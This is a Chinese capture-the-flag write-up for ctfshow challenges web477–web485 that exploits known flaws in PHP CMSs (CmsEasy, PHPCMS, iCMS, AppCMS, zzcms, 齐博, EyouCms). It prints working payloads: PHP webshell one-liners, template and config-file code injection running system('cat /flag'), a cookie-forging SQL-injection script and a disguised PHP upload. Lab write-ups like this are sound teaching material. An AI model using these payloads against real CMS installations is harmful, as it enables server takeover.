web477

easycms:CmsEasy_v5.7 漏洞测试-腾讯云开发者社区-腾讯云

登录后台,模板–自定义标签—添加自定义标签–填写Payload—提交:

Payload: 1111111111";}<?php phpinfo()?>

附绕代码检测的一句话Payload: 11";}<?php assert($_POST[1]);?>

执行phpinfo()即可获得flag

web478

参考链接:PHPCMS v9.6.0 任意文件上传漏洞分析 - FreeBuf网络安全行业门户

文件上传+远程包含。

登陆界面路由:

1
2
https://e14bfd1a-41b9-4a2c-9d25-3b3e99c52de4.challenge.ctf.show/index.php?m=member&c=index&a=register&siteid=1

照着rce即可

注意:每跑一次payload需要修改用户名和邮箱,不然由于用户名存在会报错。

web479

参考链接:ICMSv7.0.1 admincp.class.php sql注入分析 | Chybeta

生成cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
//error_reporting(0);
function urlsafe_b64decode($input){
$remainder = strlen($input) % 4;
if ($remainder) {
$padlen = 4 - $remainder;
$input .= str_repeat('=', $padlen);
}
return base64_decode(strtr($input, '-_!', '+/%'));
}

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 8;
$key = md5($key ? $key : iPHP_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}

echo "iCMS_iCMS_AUTH=".urlencode(authcode("'or 1=1##=iCMS[192.168.0.1]=#1","ENCODE","n9pSQYvdWhtBz3UHZFVL7c6vf4x6fePk"));

进入后台获得flag。

web480

源码解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-02-24 18:44:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-02-24 22:37:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

class config{

/**
* 初始化配置 - 根据请求参数批量修改配置
* 通过$_REQUEST['conf']接收配置键值对并逐个应用修改
*/
public static function init(){
// 遍历请求中的conf数组,对每个配置项进行修改
foreach ($_REQUEST['conf'] as $key => $value) {
config::change($key, $value); // 调用change方法修改单个配置
}
}

/**
* 修改单个配置项
* @param string $k 配置键名
* @param mixed $v 配置值
*/
public static function change($k, $v){
// 解析现有配置文件内容为数组
$conf = self::parseFile('config.php');
// 更新指定键的值
$conf[$k] = $v;
// 将修改后的配置数组保存回文件
self::saveValues($conf);
}

/**
* 解析配置文件,提取define定义的常量
* @param string $file 配置文件名
* @return array 解析后的配置数组
*/
public static function parseFile($file)
{
$options = array(); // 存储解析结果的数组

// 逐行读取配置文件
foreach (file($file) as $line) {
// 清理行内容:移除define()函数前缀和注释
$line = trim(preg_replace(array("/^.*define\([\"']/", "/[^&][#][@].*$/"), "", $line));

// 跳过空行和PHP标签行
if ($line != "" && substr($line, 0, 2) != "<?" && substr($line, -2, 2) != "?>") {
// 移除PHP标签
$line = str_replace(array("<?php", "?>", "<?",), "", $line);

// 按引号和逗号分割配置项(分割键和值)
$opts = preg_split("/[\"'],/", $line);

// 确保分割后得到键值对(两个元素)
if (count($opts) == 2) {
// 处理值部分的引号
if (substr($opts[1], 0, 1) == '"' || substr($opts[1], 0, 1) == "'") {
$opts[1] = substr($opts[1], 1, -3); // 移除值两端的引号和结尾的括号
} else {
$opts[0] = substr($opts[0], 0, -2); // 处理无引号的值
}

// 特殊处理以_HTML结尾的配置项(执行HTML实体解码)
if (substr($opts[0], -5, 5) == "_HTML") {
$opts[1] = eval("return " . $opts[1] . ";"); // 使用eval执行PHP代码
}
// 将配置项存入数组,替换转义的单引号
$options[$opts[0]] = str_replace("\'", "'", $opts[1]);
}
}
}
return $options; // 返回解析后的配置数组
}

/**
* 将配置数组保存为PHP配置文件
* @param array $values 配置键值对数组
* @param string $configname 配置文件名(默认为空)
*/
public static function saveValues($values, $configname = '')
{
$profile = null; // 存储当前配置名
$str = "<?php\n"; // 配置文件开头

// 遍历所有配置项,生成define语句
foreach ($values as $directive => $value) {
$directive = trim(strtoupper($directive)); // 键名转为大写并去空格

// 跳过CURRENTCONFIGNAME特殊配置项
if ($directive == 'CURRENTCONFIGNAME') {
$profile = $value;
continue;
}

$str .= "define(\"$directive\","; // 定义常量开始

$value = stripslashes($value); // 移除反斜杠转义

// 处理HTML类型的配置项
if (substr($directive, -5, 5) == "_HTML") {
$value = htmlentities($value, ENT_QUOTES, LANG_CHARSET); // 转换为HTML实体
$value = str_replace(array("\r\n", "\r", "\n"), "", $value); // 移除换行符
$str .= "exponent_unhtmlentities('$value')"; // 使用解码函数
}
// 处理整数值
elseif (is_int($value)) {
$str .= "'" . $value . "'"; // 直接输出数值
}
// 处理字符串值
else {
if ($directive != 'SESSION_TIMEOUT') {
$str .= "'" . str_replace("'", "\'", $value) . "'"; // 转义单引号
}
else {
$str .= "'" . str_replace("'", '', $value) . "'"; // SESSION_TIMEOUT特殊处理
}
}
$str .= ");\n"; // 结束define语句
}

$str .= '?>'; // 配置文件结尾

// 添加当前配置名定义
if ($configname == '') {
$str .= "\n<?php\ndefine(\"CURRENTCONFIGNAME\",\"$profile\");\n?>";
}

// 写入文件
self::writeFile($str, $configname);
}

/**
* 将配置字符串写入文件
* @param string $str 配置内容字符串
* @param string $configname 配置文件名
*/
public static function writeFile($str, $configname = '')
{
// 设置默认文件名
if ($configname == "") {
$configname = "config.php";
}

// 获取文件路径信息
$conffolder = pathinfo($configname);

// 检查文件是否存在并写入
if (file_exists($configname)) {
$fh = fopen($configname, "w"); // 以写入模式打开文件
fwrite($fh, $str); // 写入内容
fclose($fh); // 关闭文件句柄
} else {
echo('Unable to write configuration') . '<br />'; // 文件不存在错误
}
}
}

payload:?conf[CURRENTCONFIGNAME]=");?>%0a<?php%20system(%27cat%20/flag%27);?>

解释:saveValues函数中,末尾函数是漏洞的:

1
2
3
if ($configname == '') {
$str .= "\n<?php\ndefine(\"CURRENTCONFIGNAME\",\"$profile\");\n?>";
}

原本应该生成:

1
2
3
4
5
<?php
define("CONFIG1","value1");
define("CONFIG2","value2");
// ... 其他配置
?>

在payload下生成:

1
2
3
4
5
6
<?php
define("CURRENTCONFIGNAME","");?>
<?php system('cat /flag');?>
");
?>

从而得到flag。

web481

1
appcms 2.0.*

参考链接:AppCMS 2.0.101 后门分析 | Chybeta

payload:

1
2
POST /?session=ctfshow&url=php://input&cms=shell.php
<?php @eval($_POST[1]);?>

然后访问shell.php即可getshell

web482

zzcms重装漏洞

参考链接:zzcms v8.1审计-腾讯云开发者社区-腾讯云

post传参step=2,直接重装获得flag。

同时也可以通过修改数据库名称实现rce。

web483

参考链接:齐博cmsv7.0后台getshell-先知社区

在栏目添加功能处增加栏目${system($_GET[1])}

然后访问/data/guide_fid.php?1=tac%20/flag即可获得flag

web484

参考链接:EyouCms前台GetShell漏洞复现_eyoucms漏洞-CSDN博客

1
2
POST /index.php/api/uploadify/preview HTTP/1.1
data:image/php;base64,PD9waHAgc3lzdGVtKCRfUE9TVFsxXSk7
然后访问/preview/xxxxx.php即可命令执行。 # web485 访问/data/admin/ver.txt得到版本V210202 访问admin/login.php 传参dopost=login&userid=admin&pwd=admin&validate=GEER登陆进入后台。 访问/admin/admin_notify.php,在notice3写入`123";system('cat /flag');$notify="` 得到flag